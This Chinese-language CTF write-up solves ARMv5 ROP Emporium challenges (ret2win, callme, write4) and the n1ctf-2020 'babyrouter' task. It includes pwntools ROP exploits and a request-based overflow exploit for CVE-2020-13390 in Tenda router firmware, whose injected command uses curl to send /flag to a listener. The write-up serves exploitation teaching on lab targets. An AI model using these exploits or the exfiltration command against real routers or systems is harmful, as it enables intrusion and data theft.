附件下载链接
环境搭建
QEMU
qemu是一款可执行硬件虚拟化的虚拟机,与他类似的还有Bochs、PearPC,
但qemu具有高速(配合KVM)、跨平台的特性
qemu主要有两种运行模式:qemu-user 和 qemu-system
qemu-system 可以进行完整的系统仿真,而 qemu-user 只提供用户态仿真。
-
安装 qemu-user
sudo apt-get install qemu qemu-user qemu-user-static
此时可以运行静态链接的arm程序,而要运行动态链接的程序,需要安装对
应架构的动态链接库:apt search "libc6-" | grep "arm“
现在已经可以正常运行 arm 程序了。
创建 qemu-binfmt,这样 linux 可以根据文件头找相应的程序运行sudo mkdir /etc/qemu-binfmt sudo ln -s /usr/arm-linux-gnueabi /etc/qemu-binfmt/arm
现在可以直接运行 arm 程序了。
gdb
需要下载 gdb-multiarch
sudo apt-get install gdb-multiarch
用户程序调试
启动程序,设定调试端口为 1234
qemu-arm -g 1234 ret2win_armv5
gdb 加载程序
gdb-multiarch ret2win_armv5
监听调试端口
target remote localhost:1234
成功附加到调试进程
ret2win
函数逻辑如下:
int pwnme()
{
char buf[36]; // [sp+0h] [bp-24h] BYREF
memset(buf, 0, 32u);
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, buf, 56u); // stack overflow
return puts("Thank you!");
}
存在栈溢出
0x000105EC 后门函数
int ret2win()
{
puts("Well done! Here's your flag:");
return system("/bin/cat flag.txt");
}
exp:
from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm", "-g", "1234", "./ret2win_armv5"])
if __name__ == '__main__':
pause()
payload = "a" * 0x24 + p32(0x000105EC)
p.sendafter('>', payload)
p.interactive()
其中 pause() 函数可以暂停脚本,这样就可以用 gdb 附加调试程序。
可以看到返回地址以及被修改。
callme
栈溢出
int pwnme()
{
char s[36]; // [sp+0h] [bp-24h] BYREF
memset(s, 0, 0x20u);
puts("Hope you read the instructions...\n");
printf("> ");
read(0, s, 0x200u); // stack overflow
return puts("Thank you!");
}
usefulFunction 提示了 3 个函数
void __noreturn usefulFunction()
{
callme_three(4, 5, 6);
callme_two(4, 5, 6);
callme_one(4, 5, 6);
exit(1);
}
3 个函数位于动态链接库 libcallme_armv5.so 中,依次调用三个函数并且传入正确参数则解密并打印 flag 。
int __fastcall callme_one(int a1, int a2, int a3)
{
FILE *stream; // [sp+14h] [bp-8h]
if ( a1 != 0xDEADBEEF || a2 != 0xCAFEBABE || a3 != 0xD00DF00D )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("encrypted_flag.dat", "r");
if ( !stream )
{
puts("Failed to open encrypted_flag.dat");
exit(1);
}
encry_flag_data = (int)malloc(0x21u);
if ( !encry_flag_data )
{
puts("Could not allocate memory");
exit(1);
}
encry_flag_data = (int)fgets((char *)encry_flag_data, 33, stream);
fclose(stream);
return puts("callme_one() called correctly");
}
int __fastcall callme_two(int a1, int a2, int a3)
{
int i; // [sp+10h] [bp-Ch]
FILE *stream; // [sp+14h] [bp-8h]
if ( a1 != 0xDEADBEEF || a2 != 0xCAFEBABE || a3 != 0xD00DF00D )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("key1.dat", "r");
if ( !stream )
{
puts("Failed to open key1.dat");
exit(1);
}
for ( i = 0; i <= 15; ++i )
*(_BYTE *)(encry_flag_data + i) ^= fgetc(stream);
return puts("callme_two() called correctly");
}
void __fastcall __noreturn callme_three(int a1, int a2, int a3)
{
int i; // [sp+10h] [bp-Ch]
FILE *stream; // [sp+14h] [bp-8h]
if ( a1 == 0xDEADBEEF && a2 == 0xCAFEBABE && a3 == 0xD00DF00D )
{
stream = fopen("key2.dat", "r");
if ( !stream )
{
puts("Failed to open key2.dat");
exit(1);
}
for ( i = 16; i <= 31; ++i )
*(_BYTE *)(encry_flag_data + i) ^= fgetc(stream);
*(_DWORD *)(encry_flag_data + 4) ^= 0xDEADBEEF;
*(_DWORD *)(encry_flag_data + 8) ^= 0xDEADBEEF;
*(_DWORD *)(encry_flag_data + 12) ^= 0xCAFEBABE;
*(_DWORD *)(encry_flag_data + 16) ^= 0xCAFEBABE;
*(_DWORD *)(encry_flag_data + 20) ^= 0xD00DF00D;
*(_DWORD *)(encry_flag_data + 24) ^= 0xD00DF00D;
puts((const char *)encry_flag_data);
exit(0);
}
puts("Incorrect parameters");
exit(1);
}
由于 3 个函数都需要 3 个参数,根据 ARM 的函数调用约定,需要给 R0,R1,R2 赋值的 gadget 。
使用 ROPgadget 搜索合适的 gadget:
ROPgadget --binary "./callme_armv5" | grep "pop" | grep "r0" | grep "r1" | grep "r2"
根据 ARM 的函数调用约定,LR 寄存器存储返回地址,因此这条 gadget 中的 PC 决定 下一个函数的地址,而 LR 决定下一个函数的返回地址。
exp 如下:
from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'
# p = remote()
p = process(["qemu-arm", "./callme_armv5"])
# p = process(["qemu-arm", "-g", "1234", "./callme_armv5"])
elf = ELF("./callme_armv5")
pop_r0_r1_r2_lr = 0x00010870 # 0x00010870 : pop {r0, r1, r2, lr, pc}
def callme(addr, arg1, arg2, arg3):
payload = b""
payload += p32(arg1)
payload += p32(arg2)
payload += p32(arg3)
payload += p32(pop_r0_r1_r2_lr)
payload += p32(addr)
return payload
if __name__ == '__main__':
payload = b"a" * 36
payload += p32(pop_r0_r1_r2_lr)
payload += callme(elf.plt["callme_one"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
payload += callme(elf.plt["callme_two"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
payload += callme(elf.plt["callme_three"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
p.sendafter(b">", payload)
p.interactive()
注意,不能通过从 gadget 返回这 3 个地址来调用目标函数,因为这里的跳转指令为 BL,会修改 LR 寄存器导致函数的返回地址错误。
write4
观察 main 函数,发现主要函数在 libwrite4_armv5.so 中。
int __cdecl main(int argc, const char **argv, const char **envp)
{
pwnme(argc, (int)argv, (int)envp);
return 0;
}
pwnme 函数是栈溢出。
int pwnme()
{
char buf[36]; // [sp+0h] [bp-24h] BYREF
setvbuf(stdout, 0, 2, 0);
puts("write4 by ROP Emporium");
puts("ARMv5\n");
memset(buf, 0, 32u);
puts("Go ahead and give me the input already!\n");
printf("> ");
read(0, buf, 0x200u); // bof
return puts("Thank you!");
}
print 函数可以打印参数指定的文件内容
int __fastcall print_file(const char *a1)
{
char s[36]; // [sp+8h] [bp-2Ch] BYREF
FILE *stream; // [sp+2Ch] [bp-8h]
stream = fopen(a1, "r");
if ( !stream )
{
printf("Failed to open file: %s\n", a1);
exit(1);
}
fgets(s, 33, stream);
puts(s);
return fclose(stream);
}
由于 print_file 函数需要指定参数,因此需要使用 STR 指令向某一地址写入文件名并将该地址作为参数传入 print_file。
因为只有 write4_armv5 未地址随机化,所以只能用 write_armv5 的 gadget 。
利用 ROPgadget 搜索合适的 gadget
ROPgadget --binary "./write4_armv5" | grep "str"
找到一条合适的 gedget,这条 gadget 不仅可以往指定地址写数据,并且可以利用后半段设置寄存器的值。
exp 如下:
from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm", "./write4_armv5"])
# p = process(["qemu-arm", "-g", "1234", "./write4_armv5"])
elf = ELF("./write4_armv5")
str_r3_r4_pop_r3_r4_pc = 0x000105EC
pop_r3_r4_pc = 0x000105F0
pop_r0_pc = 0x000105F4
file_name_addr = 0x0002102C
if __name__ == '__main__':
payload = ""
payload += 36 * "a"
payload += p32(pop_r3_r4_pc)
payload += "flag"
payload += p32(file_name_addr)
payload += p32(str_r3_r4_pop_r3_r4_pc)
payload += ".txt"
payload += p32(file_name_addr + 4)
payload += p32(str_r3_r4_pop_r3_r4_pc)
payload += p32(0)
payload += p32(0)
payload += p32(pop_r0_pc)
payload += p32(file_name_addr)
payload += p32(elf.plt["print_file"])
# pause()
p.sendafter(">", payload)
p.interactive()
n1ctf-2020 babyrouter
环境搭建
build.sh 是用来创建 docker 镜像的,内容如下:
docker build -t router .
而 docker 镜像是根据配置文件 DockerFile 来创建的,分析 DockerFile 可知首先是拉取一个 Ubuntu16.04 的镜像并安装了相关的软件,由于安装了文件传输工具 curl ,因此可以考虑通过利用漏洞执行 curl 命令来将 flag 文件下载下来。之后 DockerFile 将需要用到的文件复制到根目录下,最后运行 /start.sh
命令。start.sh 应该是初始化脚本。
FROM ubuntu:16.04
RUN apt-get update && apt-get -y dist-upgrade
RUN apt-get install -y bridge-utils
RUN apt-get install -y net-tools
RUN apt-get install -y iproute2
RUN apt-get install -y qemu-user
RUN apt-get install -y wget
RUN apt-get install -y curl
RUN apt-get install -y nginx
RUN rm /etc/nginx/sites-enabled/*
RUN rm /etc/nginx/nginx.conf
COPY ./nginx.conf /etc/nginx/nginx.conf
COPY ./start.sh /start.sh
COPY ./pwn /pwn
COPY flag /flag
CMD ["/start.sh"]
start.sh 内容如下,主要作用是用 qemu-arm 启动 httpd 。
#!/bin/sh
# Add your startup script
brctl addbr br0
ifconfig br0 10.10.10.10 up
service nginx start
nginx -t
nginx -s reload
PRO_NAME=qemu-arm
while true ; do
NUM=`ps aux | grep ${PRO_NAME} | grep -v grep |wc -l`
if [ "${NUM}" -lt "1" ];then
echo "${PRO_NAME} was killed"
${PRO_NAME} -L /pwn /pwn/httpd >> /tmp/qemu.txt&
rm /qemu_httpd*
rm /tmp/core-qemu*
fi
done
最后时 run.sh :
docker run -d -p "0.0.0.0:2333:9999" --restart=always --privileged --name=router router
在运行完 build.sh 创建镜像后就可以运行 run.sh 启动镜像。并且将镜像的 9999 端口映射到本机的 2333 端口,由此可知 httpd 启动的 web 服务端口为 9999 。
去过想使用 gdb 调试,可以将 start.sh 中的
${PRO_NAME} -L /pwn /pwn/httpd >> /tmp/qemu.txt&
修改为下面这样
${PRO_NAME} -g 1234 -L /pwn /pwn/httpd >> /tmp/qemu.txt&
然后将 run.sh 中的 -p "0.0.0.0:2333:9999"
替换为 --net=host
从而将 docker 镜像的所有端口映射到本机。
漏洞利用
由于文件中存在 Tenda
关键字,可以判断出是 Tenda
路由器的固件。
搜索 Tenda
路由器的固件漏洞可以找到 CVE-2020-13390 的 POC 。
是一个简单的栈溢出:
不过存在 \0
截断,而代码段地址填不满 4 字节,因此最后只能 retn 一个 gadget ,这个 gadget 必须要同时具有传参和调用命令两个功能。
观察函数末尾可以发现,这里的栈溢出除了可以控制 PC 寄存器外还可以控制 R4 和 R11 两个寄存器。
.text:00079A7C POP {R4,R11,PC}
而 0x0006B154 处的 gadget 恰好可以用 R11 传参。
.text:0006B154 LDR R0, [R11,#-0x10] ; void *
.text:0006B158 LDR R1, [R11,#-0x14] ; void *
.text:0006B15C MOV R2, #0x1000 ; void *
.text:0006B160 BL doShell
通过调试发现 doShell 可以将第一个参数指向的字符串作为参数执行,因此不难构造出如下 ROP :
之后的问题是如何使 httpd 执行到该漏洞点,观察 CVE-2020-13390 的 POC 发现该 POC 是通过访问 /goform/addressNat
这个网址来触发漏洞的。
最后的问题是通过执行什么命令来得到 flag 。
前面提到 docker 镜像中安装了 curl ,因此可以通过 curl -F
命令将文件传回来。
exp 如下:
import requests
from pwn import *
rop = ''
rop += p32(0xF6FFF9EC + 4)
rop += 'curl -F flag=@/flag 127.0.0.1:1313;'
rop = rop.ljust(240, 'A')
rop += p32(0xFFFFFFFF) # r4
rop += p32(0xF6FFF9EC + 16) # r11
rop += p32(0x0006B154) # pc
# .text:0006B154 LDR R0, [R11,#-16]
# .text:0006B158 LDR R1, [R11,#-20]
# .text:0006B15C MOV R2, #0x1000
# .text:0006B160 BL doShell
data = {
'entrys': 'sky123',
'mitInterface': 'sky123',
'page': rop
}
cookie = {'Cookie': 'password=sky123'}
r = requests.post('http://127.0.0.1:9999/goform/addressNat', data=data, cookies=cookie)
启动镜像并运行 exp 然后用 gdb 调试。观察执行完 sprintf 后的栈,发现关键位置都被覆盖了正确的数据。
执行完 fromAddressNat 后成功跳转到 gadget ,并且 doShell 传入了正确的参数。
用 nc 监听 1313 端口然后继续执行,flag 被成功传回。